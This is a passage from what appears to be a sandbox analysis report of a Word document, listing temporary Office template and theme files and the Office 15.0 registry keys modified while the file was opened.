  1313. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2E4C.tmp",
  1314. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4408.tmp",
  1315. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3DD1.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1316. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2E6F.tmp",
  1317. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD39C6.tmp\\Equations.dotx",
  1318. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD404A.tmp\\Frame.thmx",
  1319. "C:\\Users\\user\\AppData\\Local\\Temp\\cab314E.tmp",
  1320. "C:\\Users\\user\\AppData\\Local\\Temp\\cab371C.tmp",
  1321. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3F6B.tmp\\ThemePictureAlternatingAccent.glox",
  1322. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4107.tmp\\pictureorgchart.glox",
  1323. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3D81.tmp\\RadialPictureList.glox",
  1324. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3FE9.tmp\\Banded.thmx",
  1325. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab4419.tmp",
  1326. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2FDE.tmp",
  1327. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar441B.tmp",
  1328. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3D61.tmp\\chevronaccent.glox",
  1329. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2E6D.tmp",
  1330. "C:\\Users\\user\\AppData\\Local\\Temp\\cab369C.tmp",
  1331. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2E8F.tmp",
  1332. "C:\\Users\\user\\AppData\\Local\\Temp\\cab316E.tmp",
  1333. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab46E3.tmp",
  1334. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar4703.tmp",
  1335. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3E8E.tmp\\gostname.xsl",
  1336. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3DA1.tmp\\View.thmx",
  1337. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3F1B.tmp\\chicago.xsl",
  1338. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2FDD.tmp",
  1339. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab4654.tmp",
  1340. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD486C.tmp",
  1341. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar4655.tmp",
  1342. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD488C.tmp",
  1343. "C:\\Users\\user\\AppData\\Local\\Temp\\cab379D.tmp",
  1344. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD48DB.tmp",
  1345. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2FDF.tmp",
  1346. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4408.tmp\\Element design set.dotx",
  1347. "C:\\Users\\user\\AppData\\Local\\Temp\\cab377D.tmp",
  1348. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab45D4.tmp",
  1349. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar45D5.tmp",
  1350. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD493A.tmp",
  1351. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD403A.tmp\\turabian.xsl",
  1352. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2F7D.tmp",
  1353. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD49C7.tmp",
  1354. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4A07.tmp",
  1355. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4A18.tmp",
  1356. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4A57.tmp",
  1357. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD488C.tmp\\Parallax.thmx",
  1358. "C:\\Users\\user\\AppData\\Local\\Temp\\cab435A.tmp",
  1359. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD493A.tmp\\Dividend.thmx",
  1360. "C:\\Users\\user\\AppData\\Local\\Temp\\cab441A.tmp",
  1361. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4BDF.tmp",
  1362. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD49C7.tmp\\Metropolitan.thmx",
  1363. "C:\\Users\\user\\AppData\\Local\\Temp\\cab438A.tmp",
  1364. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD48DB.tmp\\Berlin.thmx",
  1365. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4A18.tmp\\Headlines.thmx",
  1366. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4499.tmp",
  1367. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4A07.tmp\\Badge.thmx",
  1368. "C:\\Users\\user\\AppData\\Local\\Temp\\cab44C9.tmp",
  1369. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD486C.tmp\\Wood_Type.thmx",
  1370. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4508.tmp",
  1371. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4A57.tmp\\Crop.thmx",
  1372. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4029.tmp",
  1373. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4D67.tmp",
  1374. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4BDF.tmp\\Quotable.thmx",
  1375. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4605.tmp",
  1376. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4D67.tmp\\Savon.thmx",
  1377. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4C0F.tmp",
  1378. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4E53.tmp",
  1379. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4E73.tmp",
  1380. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4ED2.tmp",
  1381. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4E53.tmp\\mlaseventheditionofficeonline.xsl",
  1382. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4E73.tmp\\VaryingWidthList.glox",
  1383. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2D59.tmp",
  1384. "C:\\Users\\user\\AppData\\Local\\Temp\\cab31C0.tmp",
  1385. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4ED2.tmp\\CircleProcess.glox",
  1386. "C:\\Users\\user\\AppData\\Local\\Temp\\cab318E.tmp",
  1387. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab5339.tmp",
  1388. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar5349.tmp",
  1389. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5398.tmp",
  1390. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5398.tmp\\Droplet.thmx",
  1391. "C:\\Users\\user\\AppData\\Local\\Temp\\cab52BB.tmp",
  1392. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD54D3.tmp",
  1393. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD54D3.tmp\\Circuit.thmx",
  1394. "C:\\Users\\user\\AppData\\Local\\Temp\\cab53B9.tmp",
  1395. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5EE9.tmp",
  1396. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5F57.tmp",
  1397. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5FA7.tmp",
  1398. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5EE9.tmp\\Damask.thmx",
  1399. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5D9E.tmp",
  1400. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5FA7.tmp\\Feathered.thmx",
  1401. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5F57.tmp\\Slate.thmx",
  1402. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5DCE.tmp",
  1403. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5E7B.tmp",
  1404. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6594.tmp",
  1405. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6594.tmp\\Mesh.thmx",
  1406. "C:\\Users\\user\\AppData\\Local\\Temp\\cab64D8.tmp",
  1407. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD676C.tmp",
  1408. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF149819E3C140A21F.TMP",
  1409. "C:\\Users\\user\\AppData\\Local\\Temp\\~$awedammyy_987bd2361c0ed6e05400b027c113be44.doc",
  1410. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD676C.tmp\\Main_Event.thmx",
  1411. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{81238493-8B60-4225-8BAE-82ACE96780AE}.tmp",
  1412. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6857.tmp\\Vapor_Trail.thmx",
  1413. "C:\\Users\\user\\AppData\\Local\\Temp\\cab676B.tmp",
  1414. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1415. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{D77786C2-2296-41DA-90D4-E53BCBE8A01D}.tmp",
  1416. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{15738850-0A7D-4502-9FC5-30E41087C91E}.tmp",
  1417. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6B28.tmp",
  1418. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6B28.tmp\\Insight design set.dotx",
  1419. "C:\\Users\\user\\AppData\\Local\\Temp\\cab6A0E.tmp",
  1420. "C:\\Users\\user\\AppData\\Local\\Temp\\CVRF52B.tmp.cvr",
  1421. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{337A1030-FCEE-42F9-AA18-654904EFAFDB}.tmp"
  1422. ]
  1423.  
  1424. [*] Modified Registry Keys: [
  1425. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\:<~",
  1426. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\VBAFiles",
  1427. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  1428. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  1429. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  1430. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache",
  1431. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\RemoteClearDate",
  1432. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1",
  1433. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\Last",
  1434. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0",
  1435. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\FilePath",
  1436. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\StartDate",
  1437. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\EndDate",
  1438. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Properties",
  1439. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Url",
  1440. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\LastClean",
  1441. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1442. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1443. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
  1444. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\5332B2",
  1445. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\5332B2\\5332B2",
  1446. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  1447. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
  1448. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  1449. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1450. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1451. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  1452. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  1453. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  1454. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  1455. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
  1456. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  1457. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  1458. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  1459. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  1460. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  1461. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  1462. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  1463. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  1464. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  1465. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  1466. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  1467. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  1468. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  1469. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  1470. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  1471. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  1472. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  1473. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  1474. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  1475. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  1476. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  1477. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  1478. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  1479. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1480. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  1481. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  1482. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  1483. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  1484. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
  1485. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1486. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  1487. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  1488. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1489. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1490. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1491. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  1492. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  1493. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  1494. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  1495. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  1496. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
  1497. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  1498. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  1499. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  1500. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  1501. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  1502. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  1503. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  1504. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  1505. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
  1506. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
  1507. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  1508. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  1509. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  1510. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  1511. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  1512. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  1513. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  1514. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  1515. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  1516. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  1517. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  1518. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  1519. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1520. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  1521. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  1522. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  1523. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  1524. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  1525. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1526. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  1527. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  1528. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1529. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1530. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1531. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  1532. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
